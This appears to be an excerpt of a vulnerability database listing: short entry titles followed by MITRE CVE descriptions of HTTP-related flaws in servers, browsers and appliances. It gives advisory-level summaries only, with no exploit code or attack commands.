11563| [10180] Thomas R. Pasawicz HyperBook Guestbook 1.30 Password Database data/gbconfiguration.dat HTTP GET Request information disclosure
11564| [34783] Wireshark 0.99.3/0.99.4 HTTP Dissector Crash denial of service
11565| [34785] Acme Labs thttpd 2.24 unknown vulnerability
11566| [85134] HTTP Commander Default.aspx cross site scripting
11567| [34711] HTTP Commander 6.0 logofflast.aspx cross site scripting
11568| [34677] KarjaSoft HTTP Server 2.0.1 denial of service
11569| [85078] Rampus HTTP Service unknown vulnerability
11570| [34513] Maxum Development Rumpus FTP Server up to 5.1 HTTP Service Heap-based memory corruption
11571| [85115] Oracle HTTP Server information disclosure
11572| [85114] Oracle HTTP Server denial of service
11573| [85113] Oracle HTTP Server denial of service
11574| [85112] Oracle HTTP Server unknown vulnerability
11575| [85111] Oracle HTTP Server unknown vulnerability
11576| [34434] Oracle HTTP Server 9.2.0.8 unknown vulnerability
11577| [2857] BEA WebLogic 8.1 HTTP Request denial of service
11578| [2856] BEA WebLogic 8.1 HTTP Request unknown vulnerability
11579| [34706] mpg123 up to Pre0.59s R11 httpget.c http_open denial of service
11580| [34252] Apache HTTP Server denial of service
11581| [34214] Karl Dahlke Edbrowse 3.1.3 http.c memory corruption
11582| [34043] Http explorer Http Explorer Web Server 1.02 directory traversal
11583| [2785] Mono 1.1/1.2.1/2.0 HTTP Request System.web unknown vulnerability
11584| [33781] Xerox WorkCentre 13.050.02.000/14.050.02.000 httpd.conf unknown vulnerability
11585| [33019] MiniHTTP Web Forum File Sharing Sever Powerpack 4.0 User Account join.asp privilege escalation
11586| [33012] Wireshark 0.99.3 HTTP Dissector Crash denial of service
11587| [2626] Novell eDirectory up to 8.7.3.8 Presp9 HTTP Protocol Stack BuildRedirectURL memory corruption
11588| [2621] Adobe Flash Player up to 9.0.16 HTTP XML Request XML.addRequestHeader cross site request forgery
11589| [32803] Oracle HTTP Server 9.2.0.7 unknown vulnerability
11590| [32801] Oracle HTTP Server 9.2.0.7 unknown vulnerability
11591| [2611] Apache HTTP Server up to 1.0.1 set_var Format String
11592| [32703] Polycom SoundPoint IP 301 1.4.1.0040 HTTP Daemon denial of service
11593| [32669] Sergey Lyubka Simple HTTPD 1.34 Stack-based memory corruption
11594|
11595| MITRE CVE - https://cve.mitre.org:
11596| [CVE-2009-4488] ** DISPUTED ** Varnish 2.0.6 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window's title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator. NOTE: the vendor disputes the significance of this report, stating that "This is not a security problem in Varnish or any other piece of software which writes a logfile. The real problem is the mistaken belief that you can cat(1) a random logfile to your terminal safely."
11597| [CVE-2009-3000] The sockfs module in the kernel in Sun Solaris 10 and OpenSolaris snv_41 through snv_122, when Network Cache Accelerator (NCA) logging is enabled, allows remote attackers to cause a denial of service (panic) via unspecified web-server traffic that triggers a NULL pointer dereference in the nl7c_http_log function, related to "improper http response handling."
11598| [CVE-2001-1030] Squid before 2.3STABLE5 in HTTP accelerator mode does not enable access control lists (ACLs) when the httpd_accel_host and http_accel_with_proxy off settings are used, which allows attackers to bypass the ACLs and conduct unauthorized activities such as port scanning.
11599| [CVE-2001-0122] Kernel leak in AfpaCache module of the Fast Response Cache Accelerator (FRCA) component of IBM HTTP Server 1.3.x and Websphere 3.52 allows remote attackers to cause a denial of service via a series of malformed HTTP requests that generate a "bad request" error.
11600| [CVE-2013-5019] Stack-based buffer overflow in Ultra Mini HTTPD 1.21 allows remote attackers to execute arbitrary code via a long resource name in an HTTP request.
11601| [CVE-2013-4685] Buffer overflow in flowd in Juniper Junos 10.4 before 10.4S14, 11.4 before 11.4R7, 12.1 before 12.1R6, and 12.1X44 before 12.1X44-D15 on SRX devices, when Captive Portal is enabled with the UAC enforcer role, allows remote attackers to execute arbitrary code via crafted HTTP requests, aka PR 849100.
11602| [CVE-2013-4165] The HTTPAuthorized function in bitcoinrpc.cpp in bitcoind 0.8.1 provides information about authentication failure upon detecting the first incorrect byte of a password, which makes it easier for remote attackers to determine passwords via a timing side-channel attack.
11603| [CVE-2013-4131] The mod_dav_svn Apache HTTPD server module in Subversion 1.7.0 through 1.7.10 and 1.8.x before 1.8.1 allows remote authenticated users to cause a denial of service (assertion failure or out-of-bounds read) via a certain (1) COPY, (2) DELETE, or (3) MOVE request against a revision root.
11604| [CVE-2013-4081] The http_payload_subdissector function in epan/dissectors/packet-http.c in the HTTP dissector in Wireshark 1.6.x before 1.6.16 and 1.8.x before 1.8.8 does not properly determine when to use a recursive approach, which allows remote attackers to cause a denial of service (stack consumption) via a crafted packet.
11605| [CVE-2013-3925] Atlassian Crowd 2.5.x before 2.5.4, 2.6.x before 2.6.3, 2.3.8, and 2.4.9 allows remote attackers to read arbitrary files and send HTTP requests to intranet servers via a request to (1) /services/2 or (2) services/latest with a DTD containing an XML external entity declaration in conjunction with an entity reference.
11606| [CVE-2013-3735] ** DISPUTED ** The Zend Engine in PHP before 5.4.16 RC1, and 5.5.0 before RC2, does not properly determine whether a parser error occurred, which allows context-dependent attackers to cause a denial of service (memory consumption and application crash) via a crafted function definition, as demonstrated by an attack within a shared web-hosting environment. NOTE: the vendor's http://php.net/security-note.php page says "for critical security situations you should be using OS-level security by running multiple web servers each as their own user id."
11607| [CVE-2013-3724] The mk_request_header_process function in mk_request.c in Monkey 1.1.1 allows remote attackers to cause a denial of service (thread crash and service outage) via a '\0' character in an HTTP request.
11608| [CVE-2013-3499] GroundWork Monitor Enterprise 6.7.0 performs authentication on the basis of the HTTP Referer header, which allows remote attackers to obtain administrative privileges or access files via a crafted header.
11609| [CVE-2013-3455] Cisco Finesse allows remote attackers to obtain sensitive information by sniffing the network for HTTP query data, aka Bug ID CSCug16732.
11610| [CVE-2013-3454] Cisco TelePresence System Software 1.10.1 and earlier on 500, 13X0, 1X00, 30X0, and 3X00 devices, and 6.0.3 and earlier on TX 9X00 devices, has a default password for the pwrecovery account, which makes it easier for remote attackers to modify the configuration or perform arbitrary actions via HTTPS requests, aka Bug ID CSCui43128.
11611| [CVE-2013-3439] Cross-site scripting (XSS) vulnerability in Cisco Unified Operations Manager allows remote attackers to inject arbitrary web script or HTML via a crafted URL in an unspecified HTTP header field, aka Bug ID CSCud80182.
11612| [CVE-2013-3239] phpMyAdmin 3.5.x before 3.5.8 and 4.x before 4.0.0-rc3, when a SaveDir directory is configured, allows remote authenticated users to execute arbitrary code by using a double extension in the filename of an export file, leading to interpretation of this file as an executable file by the Apache HTTP Server, as demonstrated by a .php.sql filename.
11613| [CVE-2013-3060] The web console in Apache ActiveMQ before 5.8.0 does not require authentication, which allows remote attackers to obtain sensitive information or cause a denial of service via HTTP requests.
11614| [CVE-2013-2961] The internal web server in the Basic Services component in IBM Tivoli Monitoring (ITM) 6.2.0 through FP3, 6.2.1 through FP4, 6.2.2 through FP9, and 6.2.3 before FP3, as used in IBM Application Manager for Smart Business (formerly Tivoli Foundations Application Manager) 1.2.1 before 1.2.1.0-TIV-IAMSB-FP0004 and other products, allows remote attackers to perform unspecified redirection of HTTP requests, and bypass the proxy-server configuration, via crafted HTTP traffic.
11615| [CVE-2013-2960] Buffer overflow in KDSMAIN in the Basic Services component in IBM Tivoli Monitoring (ITM) 6.2.0 through FP3, 6.2.1 through FP4, 6.2.2 through FP9, and 6.2.3 before FP3, as used in IBM Application Manager for Smart Business (formerly Tivoli Foundations Application Manager) 1.2.1 before 1.2.1.0-TIV-IAMSB-FP0004 and other products, allows remote attackers to cause a denial of service (segmentation fault) via a crafted http URL.
11616| [CVE-2013-2950] CRLF injection vulnerability in IBM WebSphere Portal 6.1.0.x before 6.1.0.3 CF26, 6.1.5.x before 6.1.5 CF26, 7.0.0.x before 7.0.0.2 CF21, and 8.0.0.x through 8.0.0.1 CF5, when home substitution (aka uri.home.substitution) is enabled, allows remote authenticated users to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors.
11617| [CVE-2013-2873] Use-after-free vulnerability in Google Chrome before 28.0.1500.71 allows remote attackers to cause a denial of service or possibly have unspecified other impact via vectors involving a 404 HTTP status code during the loading of resources.
11618| [CVE-2013-2853] The HTTPS implementation in Google Chrome before 28.0.1500.71 does not ensure that headers are terminated by \r\n\r\n (carriage return, newline, carriage return, newline), which allows man-in-the-middle attackers to have an unspecified impact via vectors that trigger header truncation.
11619| [CVE-2013-2796] Schneider Electric Vijeo Citect 7.20 and earlier, CitectSCADA 7.20 and earlier, and PowerLogic SCADA 7.20 and earlier allow remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service (CPU and memory consumption) via an XML document containing an external entity declaration in conjunction with an entity reference, related to an XML External Entity (XXE) issue.
11620| [CVE-2013-2765] The ModSecurity module before 2.7.4 for the Apache HTTP Server allows remote attackers to cause a denial of service (NULL pointer dereference, process crash, and disk consumption) via a POST request with a large body and a crafted Content-Type header.
11621| [CVE-2013-2686] main/http.c in the HTTP server in Asterisk Open Source 1.8.x before 1.8.20.2, 10.x before 10.12.2, and 11.x before 11.2.2
11622| [CVE-2013-2503] Privoxy before 3.0.21 does not properly handle Proxy-Authenticate and Proxy-Authorization headers in the client-server data stream, which makes it easier for remote HTTP servers to spoof the intended proxy service via a 407 (aka Proxy Authentication Required) HTTP status code.
11623| [CVE-2013-2371] The Web API in the Statistics Server in TIBCO Spotfire Statistics Services 3.3.x before 3.3.1, 4.5.x before 4.5.1, and 5.0.x before 5.0.1 allows remote attackers to obtain sensitive information via an unspecified HTTP request.
11624| [CVE-2013-2304] The Sleipnir Mobile application 2.8.0 and earlier and Sleipnir Mobile Black Edition application 2.8.0 and earlier for Android allow remote attackers to load arbitrary Extension APIs, and trigger downloads or obtain sensitive HTTP response-body information, via a crafted web page.
11625| [CVE-2013-2249] mod_session_dbd.c in the mod_session_dbd module in the Apache HTTP Server before 2.4.5 proceeds with save operations for a session without considering the dirty flag and the requirement for a new session ID, which has unspecified impact and remote attack vectors.
11626| [CVE-2013-2242] mod/chat/gui_sockets/index.php in Moodle through 2.1.10, 2.2.x before 2.2.11, 2.3.x before 2.3.8, 2.4.x before 2.4.5, and 2.5.x before 2.5.1 does not consider the mod/chat:chat capability before authorizing daemon-mode chat, which allows remote authenticated users to bypass intended access restrictions via an HTTP session to a chat server.
11627| [CVE-2013-2203] WordPress before 3.5.2, when the uploads directory forbids write access, allows remote attackers to obtain sensitive information via an invalid upload request, which reveals the absolute path in an XMLHttpRequest error message.
11628| [CVE-2013-2199] The HTTP API in WordPress before 3.5.2 allows remote attackers to send HTTP requests to intranet servers via unspecified vectors, related to a Server-Side Request Forgery (SSRF) issue, a similar vulnerability to CVE-2013-0235.
11629| [CVE-2013-2181] Cross-site scripting (XSS) vulnerability in the Directory Listing plugin in Monkey HTTP Daemon (monkeyd) 1.2.2 allows attackers to inject arbitrary web script or HTML via a file name.
11630| [CVE-2013-2070] http/modules/ngx_http_proxy_module.c in nginx 1.1.4 through 1.2.8 and 1.3.0 through 1.4.0, when proxy_pass is used with untrusted HTTP servers, allows remote attackers to cause a denial of service (crash) and obtain sensitive information from worker process memory via a crafted proxy response, a similar vulnerability to CVE-2013-2028.
11631| [CVE-2013-2028] The ngx_http_parse_chunked function in http/ngx_http_parse.c in nginx 1.3.9 through 1.4.0 allows remote attackers to cause a denial of service (crash) and execute arbitrary code via a chunked Transfer-Encoding request with a large chunk size, which triggers an integer signedness error and a stack-based buffer overflow.
11632| [CVE-2013-1915] ModSecurity before 2.7.3 allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service (CPU and memory consumption) via an XML external entity declaration in conjunction with an entity reference, aka an XML External Entity (XXE) vulnerability.
11633| [CVE-2013-1912] Buffer overflow in HAProxy 1.4 through 1.4.22 and 1.5-dev through 1.5-dev17, when HTTP keep-alive is enabled, using HTTP keywords in TCP inspection rules, and running with rewrite rules that appends to requests, allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via crafted pipelined HTTP requests that prevent request realignment from occurring.
11634| [CVE-2013-1896] mod_dav.c in the Apache HTTP Server before 2.2.25 does not properly determine whether DAV is enabled for a URI, which allows remote attackers to cause a denial of service (segmentation fault) via a MERGE request in which the URI is configured for handling by the mod_dav_svn module, but a certain href attribute in XML data refers to a non-DAV URI.
11635| [CVE-2013-1884] The mod_dav_svn Apache HTTPD server module in Subversion 1.7.0 through 1.7.8 allows remote attackers to cause a denial of service (segmentation fault and crash) via a log REPORT request with an invalid limit, which triggers an access of an uninitialized variable.
11636| [CVE-2013-1862] mod_rewrite.c in the mod_rewrite module in the Apache HTTP Server 2.2.x before 2.2.25 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to execute arbitrary commands via an HTTP request containing an escape sequence for a terminal emulator.
11637| [CVE-2013-1849] The mod_dav_svn Apache HTTPD server module in Subversion 1.6.x through 1.6.20 and 1.7.0 through 1.7.8 allows remote attackers to cause a denial of service (NULL pointer dereference and crash) via a PROPFIND request for an activity URL.
11638| [CVE-2013-1847] The mod_dav_svn Apache HTTPD server module in Subversion 1.6.0 through 1.6.20 and 1.7.0 through 1.7.8 allows remote attackers to cause a denial of service (NULL pointer dereference and crash) via an anonymous LOCK for a URL that does not exist.
11639| [CVE-2013-1846] The mod_dav_svn Apache HTTPD server module in Subversion 1.6.x before 1.6.21 and 1.7.0 through 1.7.8 allows remote authenticated users to cause a denial of service (NULL pointer dereference and crash) via a LOCK on an activity URL.
11640| [CVE-2013-1845] The mod_dav_svn Apache HTTPD server module in Subversion 1.6.x before 1.6.21 and 1.7.0 through 1.7.8 allows remote authenticated users to cause a denial of service (memory consumption) by (1) setting or (2) deleting a large number of properties for a file or directory.
11641| [CVE-2013-1801] The httparty gem 0.9.0 and earlier for Ruby does not properly restrict casts of string values, which might allow remote attackers to conduct object-injection attacks and execute arbitrary code, or cause a denial of service (memory and CPU consumption) by leveraging Action Pack support for YAML type conversion, a similar vulnerability to CVE-2013-0156.
11642| [CVE-2013-1714] The Web Workers implementation in Mozilla Firefox before 23.0, Firefox ESR 17.x before 17.0.8, Thunderbird before 17.0.8, Thunderbird ESR 17.x before 17.0.8, and SeaMonkey before 2.20 does not properly restrict XMLHttpRequest calls, which allows remote attackers to bypass the Same Origin Policy and conduct cross-site scripting (XSS) attacks via unspecified vectors.
11643| [CVE-2013-1696] Mozilla Firefox before 22.0 does not properly enforce the X-Frame-Options protection mechanism, which allows remote attackers to conduct clickjacking attacks via a crafted web site that uses the HTTP server push feature with multipart responses.
11644| [CVE-2013-1692] Mozilla Firefox before 22.0, Firefox ESR 17.x before 17.0.7, Thunderbird before 17.0.7, and Thunderbird ESR 17.x before 17.0.7 do not prevent the inclusion of body data in an XMLHttpRequest HEAD request, which makes it easier for remote attackers to conduct cross-site request forgery (CSRF) attacks via a crafted web site.
11645| [CVE-2013-1653] Puppet before 2.6.18, 2.7.x before 2.7.21, and 3.1.x before 3.1.1, and Puppet Enterprise before 1.2.7 and 2.7.x before 2.7.2, when listening for incoming connections is enabled and allowing access to the "run" REST endpoint is allowed, allows remote authenticated users to execute arbitrary code via a crafted HTTP request.
11646| [CVE-2013-1633] easy_install in setuptools before 0.7 uses HTTP to retrieve packages from the PyPI repository, and does not perform integrity checks on package contents, which allows man-in-the-middle attackers to execute arbitrary code via a crafted response to the default use of the product.
11647| [CVE-2013-1630] pyshop before 0.7.1 uses HTTP to retrieve packages from the PyPI repository, and does not perform integrity checks on package contents, which allows man-in-the-middle attackers to execute arbitrary code via a crafted response to a download operation.
11648| [CVE-2013-1629] pip before 1.3 uses HTTP to retrieve packages from the PyPI repository, and does not perform integrity checks on package contents, which allows man-in-the-middle attackers to execute arbitrary code via a crafted response to a "pip install" operation.
11649| [CVE-2013-1545] Unspecified vulnerability in the Oracle HTTP Server component in Oracle Fusion Middleware 10.1.3.5, 11.1.1.5.0, and 11.1.1.6.0 allows remote attackers to affect availability via unknown vectors related to Web Listener.
11650| [CVE-2013-1462] Integer signedness error in the ExecuteSoapAction function in the SOAPAction handler in the HTTP service in MiniUPnP MiniUPnPd 1.0 allows remote attackers to cause a denial of service (incorrect memory copy) via a SOAPAction header that lacks a " (double quote) character, a different vulnerability than CVE-2013-0230.
11651| [CVE-2013-1461] The ExecuteSoapAction function in the SOAPAction handler in the HTTP service in MiniUPnP MiniUPnPd 1.0 allows remote attackers to cause a denial of service (NULL pointer dereference and service crash) via a SOAPAction header that lacks a # (pound sign) character, a different vulnerability than CVE-2013-0230.
11652| [CVE-2013-1451] Microsoft Internet Explorer 8 and 9, when the Proxy Settings configuration has the same Proxy address and Port values in the HTTP and Secure rows, does not ensure that the SSL lock icon is consistent with the Address bar, which makes it easier for remote attackers to spoof web sites via a crafted HTML document that triggers many HTTPS requests to an arbitrary host, followed by an HTTPS request to a trusted host and then an HTTP request to an untrusted host, a related issue to CVE-2013-1450.
11653| [CVE-2013-1450] Microsoft Internet Explorer 8 and 9, when the Proxy Settings configuration has the same Proxy address and Port values in the HTTP and Secure rows, does not properly reuse TCP sessions to the proxy server, which allows remote attackers to obtain sensitive information intended for a specific host via a crafted HTML document that triggers many HTTPS requests and then triggers an HTTP request to that host, as demonstrated by reading a Cookie header, aka MSRC 12096gd.
11654| [CVE-2013-1427] The configuration file for the FastCGI PHP support for lighthttpd before 1.4.28 on Debian GNU/Linux creates a socket file with a predictable name in /tmp, which allows local users to hijack the PHP control socket and perform unauthorized actions such as forcing the use of a different version of PHP via a symlink attack or a race condition.
11655| [CVE-2013-1337] Microsoft .NET Framework 4.5 does not properly create policy requirements for custom Windows Communication Foundation (WCF) endpoint authentication in certain situations involving passwords over HTTPS, which allows remote attackers to bypass authentication by sending queries to an endpoint, aka "Authentication Bypass Vulnerability."
11656| [CVE-2013-1305] HTTP.sys in Microsoft Windows 8, Windows Server 2012, and Windows RT allows remote attackers to cause a denial of service (infinite loop) via a crafted HTTP header, aka "HTTP.sys Denial of Service Vulnerability."
11657| [CVE-2013-1232] The HTTP implementation in Cisco WebEx Node for MCS, WebEx Meetings Server, and WebEx Node for ASR 1000 Series allows remote attackers to read the contents of uninitialized memory locations via a crafted request, aka Bug IDs CSCue36672, CSCue31363, CSCuf17466, and CSCug61252.
11658| [CVE-2013-1231] The HTTP implementation in Cisco WebEx Node for MCS and WebEx Meetings Server allows remote attackers to read cache files via a crafted request, aka Bug IDs CSCue36664 and CSCue36629.
11659| [CVE-2013-1225] Cisco Unified Customer Voice Portal (CVP) Software before 9.0.1 ES 11 allows remote attackers to read arbitrary files via a Resource Manager (1) HTTP or (2) HTTPS request containing an external entity declaration in conjunction with an entity reference, related to an XML External Entity (XXE) issue, aka Bug ID CSCub38366.
11660| [CVE-2013-1224] Directory traversal vulnerability in the Resource Manager in Cisco Unified Customer Voice Portal (CVP) Software before 9.0.1 ES 11 allows remote attackers to overwrite arbitrary files via a crafted (1) HTTP or (2) HTTPS request that triggers incorrect parameter validation, aka Bug ID CSCub38369.
11661| [CVE-2013-1223] The log viewer in Cisco Unified Customer Voice Portal (CVP) Software before 9.0.1 ES 11 does not properly validate an unspecified parameter, which allows remote attackers to read arbitrary files via a crafted (1) HTTP or (2) HTTPS request, aka Bug ID CSCub38372.
11662| [CVE-2013-1222] The Tomcat Web Management feature in Cisco Unified Customer Voice Portal (CVP) Software before 9.0.1 ES 11 does not properly configure Tomcat components, which allows remote attackers to launch arbitrary custom web applications via a crafted (1) HTTP or (2) HTTPS request, aka Bug ID CSCub38379.
11663| [CVE-2013-1221] The Tomcat Web Management feature in Cisco Unified Customer Voice Portal (CVP) Software before 9.0.1 ES 11 does not properly configure Tomcat components, which allows remote attackers to execute arbitrary code via a crafted (1) HTTP or (2) HTTPS request, aka Bug ID CSCub38384.
11664| [CVE-2013-1104] The HTTP Profiling functionality on Cisco Wireless LAN Controller (WLC) devices with software 7.3.101.0 allows remote authenticated users to execute arbitrary code via a crafted HTTP User-Agent header, aka Bug ID CSCuc15636.
11665| [CVE-2013-1100] The HTTP server in Cisco IOS on Catalyst switches does not properly handle TCP socket events, which allows remote attackers to cause a denial of service (device crash) via crafted packets on TCP port (1) 80 or (2) 443, aka Bug ID CSCuc53853.
11666| [CVE-2013-1048] The Debian apache2ctl script in the apache2 package squeeze before 2.2.16-6+squeeze11, wheezy before 2.2.22-13, and sid before 2.2.22-13 for the Apache HTTP Server on Debian GNU/Linux does not properly create the /var/lock/apache2 lock directory, which allows local users to gain privileges via an unspecified symlink attack.
11667| [CVE-2013-1014] Apple iTunes before 11.0.3 does not properly verify X.509 certificates, which allows man-in-the-middle attackers to spoof HTTPS servers via an arbitrary valid certificate.
11668| [CVE-2013-0976] IOAcceleratorFamily in Apple Mac OS X before 10.8.3 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted graphics image.
11669| [CVE-2013-0966] The Apple mod_hfs_apple module for the Apache HTTP Server in Apple Mac OS X before 10.8.3 does not properly handle ignorable Unicode characters, which allows remote attackers to bypass intended directory authentication requirements via a crafted pathname in a URI.
11670| [CVE-2013-0947] EMC RSA Authentication Manager 8.0 before P1 allows local users to discover cleartext operating-system passwords, HTTP plug-in proxy passwords, and SNMP communities by reading a (1) log file or (2) configuration file.
11671| [CVE-2013-0922] Google Chrome before 26.0.1410.43 does not properly restrict brute-force access attempts against web sites that require HTTP Basic Authentication, which has unspecified impact and attack vectors.
11672| [CVE-2013-0909] The XSS Auditor in Google Chrome before 25.0.1364.152 allows remote attackers to obtain sensitive HTTP Referer information via unspecified vectors.
11673| [CVE-2013-0776] Mozilla Firefox before 19.0, Firefox ESR 17.x before 17.0.3, Thunderbird before 17.0.3, Thunderbird ESR 17.x before 17.0.3, and SeaMonkey before 2.16 allow man-in-the-middle attackers to spoof the address bar by operating a proxy server that provides a 407 HTTP status code accompanied by web script, as demonstrated by a phishing attack on an HTTPS site.
11674| [CVE-2013-0759] Mozilla Firefox before 18.0, Firefox ESR 10.x before 10.0.12 and 17.x before 17.0.2, Thunderbird before 17.0.2, Thunderbird ESR 10.x before 10.0.12 and 17.x before 17.0.2, and SeaMonkey before 2.15 allow remote attackers to spoof the address bar via vectors involving authentication information in the userinfo field of a URL, in conjunction with a 204 (aka No Content) HTTP status code.
11675| [CVE-2013-0709] Cross-site scripting (XSS) vulnerability in dopvSTAR* 0091 allows remote attackers to inject arbitrary web script or HTML via the HTTP Referer header, which is not properly handled during display of the access log.
11676| [CVE-2013-0708] Cross-site scripting (XSS) vulnerability in dopvCOMET* 0009b allows remote attackers to inject arbitrary web script or HTML via the HTTP Referer header, which is not properly handled during display of the access log.
11677| [CVE-2013-0686] Invensys Wonderware Information Server (WIS) 4.0 SP1SP1, 4.5- Portal, and 5.0- Portal allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service (CPU and memory consumption) via an XML document containing an external entity declaration in conjunction with an entity reference, related to an XML External Entity (XXE) issue.
11678| [CVE-2013-0680] Stack-based buffer overflow in the web server in Cogent Real-Time Systems Cogent DataHub before 7.3.0, OPC DataHub before 6.4.22, Cascade DataHub before 6.4.22 on Windows, and DataHub QuickTrend before 7.3.0 allows remote attackers to cause a denial of service (daemon crash) or possibly execute arbitrary code via a long HTTP header.
11679| [CVE-2013-0670] CRLF injection vulnerability in the HMI web application in Siemens WinCC (TIA Portal) 11 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via a crafted URL.
11680| [CVE-2013-0669] The HMI web application in Siemens WinCC (TIA Portal) 11 allows remote authenticated users to cause a denial of service (daemon crash) via a crafted HTTP request.
11681| [CVE-2013-0664] The FactoryCast service on the Schneider Electric Quantum 140NOE77111 and 140NWM10000, M340 BMXNOE0110x, and Premium TSXETY5103 PLC modules allows remote authenticated users to send Modbus messages, and consequently execute arbitrary code, by embedding these messages in SOAP HTTP POST requests.
11682| [CVE-2013-0658] Heap-based buffer overflow in RFManagerService.exe in Schneider Electric Accutech Manager 2.00.1 and earlier allows remote attackers to execute arbitrary code via a crafted HTTP request.
11683| [CVE-2013-0599] IBM Eclipse Help System (IEHS), as used in IBM Rational Directory Server 5.1.1 through 5.1.1.2 and 5.2 through 5.2.1 and other products, allows remote attackers to obtain sensitive information by providing a crafted parameter path and then reading the debug information associated with the 500 HTTP status code.
11684| [CVE-2013-0540] IBM WebSphere Application Server (WAS) Liberty Profile 8.5 before 8.5.0.2, when SSL is not enabled, does not properly validate authentication cookies, which allows remote authenticated users to bypass intended access restrictions via an HTTP session.
11685| [CVE-2013-0532] Cross-site request forgery (CSRF) vulnerability in IBM Security AppScan Enterprise 5.6 and 8.x before 8.7 and IBM Rational Policy Tester 5.6 and 8.x before 8.5.0.4 allows remote attackers to hijack the authentication of arbitrary users for requests that cause a denial of service via malformed HTTP data.
11686| [CVE-2013-0529] The Browser in IBM Sterling Connect:Direct 1.4 before 1.4.0.11 and 1.5 through 1.5.0.1 does not set the secure flag for the session cookie in an https session, which makes it easier for remote attackers to capture this cookie by intercepting its transmission within an http session.
11687| [CVE-2013-0519] IBM Sterling Secure Proxy 3.2.0 and 3.3.01 before 3.3.01.23 Interim Fix 1, 3.4.0 before 3.4.0.6 Interim Fix 1, and 3.4.1 before 3.4.1.7 provides web-server version data in (1) an unspecified page title and (2) an unspecified HTTP header field, which allows remote attackers to obtain potentially sensitive information by reading a version string.
11688| [CVE-2013-0494] IBM Sterling B2B Integrator 5.0 and 5.1 allows remote attackers to cause a denial of service (memory and CPU consumption) via a crafted HTTP (1) Range or (2) Request-Range header.
11689| [CVE-2013-0486] Memory leak in the HTTP server in IBM Domino 8.5.x allows remote attackers to cause a denial of service (memory consumption and daemon crash) via GET requests, aka SPR KLYH92NKZY.
11690| [CVE-2013-0470] HTTPD in IBM Netezza Performance Portal 1.0.2 allows remote authenticated users to list application directories containing asset files via a direct request to a directory URI, as demonstrated by listing image files.
11691| [CVE-2013-0325] Multiple cross-site scripting (XSS) vulnerabilities in the Varnish module 6.x-1.x before 6.x-1.2 and 7.x-1.x before 7.x-1.0-beta2 for Drupal allow remote attackers to inject arbitrary web script or HTML via crafted a (1) Watchdog message or (2) admin setting.
11692| [CVE-2013-0272] Buffer overflow in http.c in the MXit protocol plugin in libpurple in Pidgin before 2.10.7 allows remote servers to execute arbitrary code via a long HTTP header.
11693| [CVE-2013-0270] OpenStack Keystone Grizzly before 2013.1, Folsom, and possibly earlier allows remote attackers to cause a denial of service (CPU and memory consumption) via a large HTTP request, as demonstrated by a long tenant_name when requesting a token.
11694| [CVE-2013-0235] The XMLRPC API in WordPress before 3.5.1 allows remote attackers to send HTTP requests to intranet servers, and conduct port-scanning attacks, by specifying a crafted source URL for a pingback, related to a Server-Side Request Forgery (SSRF) issue.
11695| [CVE-2013-0230] Stack-based buffer overflow in the ExecuteSoapAction function in the SOAPAction handler in the HTTP service in MiniUPnP MiniUPnPd 1.0 allows remote attackers to execute arbitrary code via a long quoted method.
11696| [CVE-2013-0183] multipart/parser.rb in Rack 1.3.x before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to cause a denial of service (memory consumption and out-of-memory error) via a long string in a Multipart HTTP packet.
11697| [CVE-2013-0005] The WCF Replace function in the Open Data (aka OData) protocol implementation in Microsoft .NET Framework 3.5, 3.5 SP1, 3.5.1, and 4, and the Management OData IIS Extension on Windows Server 2012, allows remote attackers to cause a denial of service (resource consumption and daemon restart) via crafted values in HTTP requests, aka "Replace Denial of Service Vulnerability."
11698| [CVE-2012-6571] The HTTP module in the (1) Branch Intelligent Management System (BIMS) and (2) web management components on Huawei AR routers and S2000, S3000, S3500, S3900, S5100, S5600, and S7800 switches uses predictable Session ID values, which makes it easier for remote attackers to hijack sessions via a brute-force attack.
11699| [CVE-2012-6570] The HTTP module in the (1) Branch Intelligent Management System (BIMS) and (2) web management components on Huawei AR routers and S2000, S3000, S3500, S3900, S5100, S5600, S7800, and S8500 switches does not check whether HTTP data is longer than the value of the Content-Length field, which allows remote HTTP servers to conduct heap-based buffer overflow attacks and execute arbitrary code via a crafted response.
11700| [CVE-2012-6569] Stack-based buffer overflow in the HTTP module in the (1) Branch Intelligent Management System (BIMS) and (2) web management components on Huawei AR routers and S2000, S3000, S3500, S3900, S5100, S5600, S7800, and S8500 switches allows remote attackers to execute arbitrary code via a long URI.
11701| [CVE-2012-6551] The default configuration of Apache ActiveMQ before 5.8.0 enables a sample web application, which allows remote attackers to cause a denial of service (broker resource consumption) via HTTP requests.
11702| [CVE-2012-6530] Stack-based buffer overflow in Sysax Multi Server before 5.52, when HTTP is enabled, allows remote authenticated users with the create folder permission to execute arbitrary code via a crafted request.
11703| [CVE-2012-6471] Opera before 12.12 allows remote attackers to spoof the address field via a high rate of HTTP requests.
11704| [CVE-2012-6468] Heap-based buffer overflow in Opera before 12.11 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a long HTTP response.
11705| [CVE-2012-6461] The X.509 certificate-validation functionality in the https implementation in Opera before 12.10 allows remote attackers to trigger a false indication of successful revocation-status checking by causing a failure of a single checking service.
11706| [CVE-2012-6369] Cross-site scripting (XSS) vulnerability in the Troubleshooting Reporting System feature in AgileBits 1Password 3.9.9 might allow remote attackers to inject arbitrary web script or HTML via a crafted User-Agent HTTP header that is not properly handled in a View Troubleshooting Report action.
11707| [CVE-2012-6128] Multiple stack-based buffer overflows in http.c in OpenConnect before 4.08 allow remote VPN gateways to cause a denial of service (application crash) via a long (1) hostname, (2) path, or (3) cookie list in a response.
11708| [CVE-2012-6112] classes/GoogleSpell.php in the PHP Spellchecker (aka Google Spellchecker) addon before 2.0.6.1 for TinyMCE, as used in Moodle 2.1.x before 2.1.10, 2.2.x before 2.2.7, 2.3.x before 2.3.4, and 2.4.x before 2.4.1 and other products, does not properly handle control characters, which allows remote attackers to trigger arbitrary outbound HTTP requests via a crafted string.
